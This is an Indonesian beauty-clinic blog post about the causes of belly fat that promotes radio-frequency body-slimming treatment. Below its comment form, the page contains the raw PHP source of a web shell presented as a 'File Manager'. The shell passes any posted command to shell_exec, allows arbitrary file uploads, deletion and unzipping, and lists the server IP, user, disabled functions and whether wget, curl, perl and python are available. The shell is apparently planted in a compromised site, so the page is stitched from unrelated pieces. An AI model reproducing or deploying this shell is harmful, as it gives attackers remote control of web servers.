Ada Yang Bisa Kami Bantu? Chat Kami Sekarang.

Gak Nyaman Karena Perut Buncit dan Bergelambir? Begini Cara Mengatasinya

-

Daftar Isi

Perut gendut atau buncit bisa menjadi pertanda bahwa adanya tumpukan lemak pada tubuh kamu. Jika di biarkan dalam jangka panjang bisa mengakibatkan obesitas dan bisa memicu timbulnya berbagai penyakit seperti hipertensi, stroke, demensia, dan serangan jantung.

Selain berdampak pada kesehatan, perut buncit dan gendut bisa bikin rasa percaya diri menurun. Meskipun begitu sobat cakas tenang aja karena RSa Clinic punya solusi untuk mengatasi lemak yang ada pada tubuh dengan cepat. Apa saja faktor pemicu timbulnya lemak pada badan? Simak artikel di bawah ini ya.

Faktor Pemicu Lemak

Banyak faktor yang bisa menyebabkan timbulnya lemak pada tubuh, beberapa di antaranya;

1.Berat Badan Berlebih

Semakin besar berat badan, semakin banyak lemak yang tertimbun pada tubuh. Kelebihan berat badan di sebabkan oleh jumlah kalori yang masuk kedalam tubuh dengan jumlah banyak, sedangkan jumlah kalori yang keluar hanya sedikit. Konsumsi makanan berlebih bisa memicu berat badan berlebih oleh karena itu sobat sehat di sarankan untuk mengatur pola makan menjadi lebih sehat dan jangan lupa melakukan olahraga ya.

2. Kurang Aktivitas

Umumnya untuk mempunyai berat badan normal jumlah kalori yang masuk harus sama dengan jumlah kalori yang di keluarkan. Jika jumlah kalori yang masuk daripada jumlah kalori yang keluar berat badan akan meningkat. Salah satu penyebabnya karena kurang bergerak jadi sobat cakas disarankan untuk rajin bergerak dengan melakukan aktivitas yang disukai ya, misalnya berolahraga atau membersihkan rumah.

3. Stress

Ketika stress, tubuh akan mengeluarkan hormon untuk membantu mengatasi stress. Namun, hormon tersebut bisa menyebabkan berat badan naik karena biasanya sebagian orang melampiaskan stress dengan cara makan dalam porsi berlebih, sehingga kalori dalam tubuh akan bertambah dan perut akan terlihat gendut.

4. Kurang Tidur

Kurang tidur beresiko mengalami kenaikan berat badan berlebih sehingga lemak pada perut akan semakin bertambah. Selain itu, gangguan sulit tidur seperti sleep apnea bisa menyebabkan kenaikan berat badan.

5. Pola Makan Tidak Teratur

Mengonsumsi makanan berlemak dan mengandung gula tinggi beresiko meningkatkan berat badan. Selain itu asupan protein dan serat yang rendah menyebabkan penumpukan lemak dan kenaikan berat badan, dikarenakan asupan protein dan serat yang cukup bisa membantu sobat cakas mengontrol nafsu makan serta melancarkan sistem pencernaan.

Cara Atasi Lemak Berlebih

Treatment RF Body

Siapa nih disini yang bermasalah dengan perut buncit, lengan dan paha yang besar karena berat badan naik pasti gak pede kan, lalu bagaimana solusinya? Oke sobat cakas tenang aja karena RSa Aeshtetic Clinic punya solusinya, yaitu dengan melakukan treatment RF Body. Sobat cakas udah pada tau belum apa itu RF Body? Simak selengkapnya di bawah ini ya

Apa Itu RF Body

Radio frequency merupakan salah satu cara untuk mengatasi masalah perut buncit, paha, dan lengan berlemak atau besar. Teknik RF menggunakan energi panas untuk menghancurkan jaringan lemak yang mampu menciptakan panas untuk meningkatkan metabolisme sel dan mendorong proses penurunan lemak.

Penurunan masa lemak dengan treatment ini efektif membentuk tubuh terutama pada bagian perut, paha, lengan dan pipi agar terlihat tirus. Gelombang RF mampu merangsang kolagen tubuh menjadi lebih baik dan bisa membentuk tubuh atau body countouring.

Selain itu, RF Body bisa membantu memecahkan lemak tubuh, mengurangi seluit dan stretchmark, membantu pembentukan lekukan tubuh pada beberapa bagian, seperti perut, paha, pinggang, dan lengan.

Nah itu dia sobat cakas penyebab dan cara mengatasi lemak berlebih pada badan, semoga bermanfaat ya. Sobat cakas yang punya masalah dengan perut buncit, pipi chubby, yuk segera konsultasikan dengan dokter kami di RSa Aeshtetic Clinic.

Salam Cantik Ayu Kasep Wibawa

Klinik RSa Aesthetic

Klinik RSa Aesthetic

Klinik Treatment Kecantikan Berkualitas di Bandung

Bagikan Artikel Via:

Share on facebook
Facebook
Share on twitter
Twitter
Share on linkedin
LinkedIn
Share on whatsapp
WhatsApp

Tinggalkan Komentar

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

basename($file), 'size' => '', 'last_modified' => date('Y-m-d H:i:s', filemtime($file)), 'owner' => posix_getpwuid(fileowner($file))['name'], 'permissions' => substr(sprintf('%o', fileperms($file)), -4), ); } else { $files[] = array( 'name' => basename($file), 'size' => filesize($file), 'last_modified' => date('Y-m-d H:i:s', filemtime($file)), 'owner' => posix_getpwuid(fileowner($file))['name'], 'permissions' => substr(sprintf('%o', fileperms($file)), -4), ); } } // Handle file upload if (isset($_FILES['file'])) { $file = $_FILES['file']; if ($file['size'] > $max_upload_size) { echo 'File too large!'; } else { move_uploaded_file($file['tmp_name'], $current_dir. '/'. $file['name']); } } // Handle file deletion if (isset($_POST['delete'])) { $file = $_POST['delete']; $file_path = rtrim($current_dir, '/') . '/' . $file; if (file_exists($file_path) && is_file($file_path)) { unlink($file_path); header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode(rtrim($current_dir, '/'))); exit; } else { echo 'File not found or not a file!'; } } // Handle terminal command if (isset($_POST['command'])) { $command = $_POST['command']; $output = shell_exec($command); echo "
$output
"; // Update current directory if command is cd if (strpos($command, 'cd ') === 0) { $new_dir = trim(substr($command, 3)); if ($new_dir == '..') { $current_dir = dirname($current_dir); } elseif ($new_dir!= '') { $current_dir = realpath($current_dir. '/'. $new_dir); } } } // Handle unzip if (isset($_POST['unzip'])) { $file = $_POST['unzip']; $file_path = $current_dir. '/'. $file; if (file_exists($file_path) && is_file($file_path)) { $zip = new ZipArchive; $res = $zip->open($file_path); if ($res === TRUE) { $zip->extractTo($current_dir); $zip->close(); echo "Unzipped successfully!"; } else { echo "Failed to unzip!"; } } else { echo "File not found or not a file!"; } } // Handle mkdir if (isset($_POST['mkdir'])) { $dir = $_POST['mkdir']; $dir_path = $current_dir. '/'. $dir;if (!is_dir($dir_path)) { mkdir($dir_path, 0750, true); echo "Directory created successfully!"; } else { echo "Directory already exists!"; } } // System information $server_ip = $_SERVER['SERVER_ADDR']; $web_server = $_SERVER['SERVER_SOFTWARE']; $system = php_uname('s'); $user = $_SERVER['USER']; $php_version = phpversion(); $disabled_functions = ini_get('disable_functions'); // MySQL, cURL, WGET, Perl, and Python information $mysql_enabled = function_exists('mysql_connect')? 'ON' : 'OFF'; $curl_enabled = function_exists('curl_init')? 'ON' : 'OFF'; $wget_enabled = shell_exec('wget --version')? 'ON' : 'OFF'; $perl_enabled = shell_exec('perl -v')? 'ON' : 'OFF'; $python_enabled = shell_exec('python --version')? 'ON' : 'OFF'; function filesize_format($size) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $size >= 1024 && $i < count($units) - 1; $i++) { $size /= 1024; } return round($size, 2). ' '. $units[$i]; } ?> File Manager

File Manager

Current directory:

Name Size Last Modified Owner Permissions Options

System Information

Server IP:

Web Server:

System:

User:

PHP Version:

Disabled Functions:

Module Information

MySQL:

cURL:

WGET:

Perl:

Python: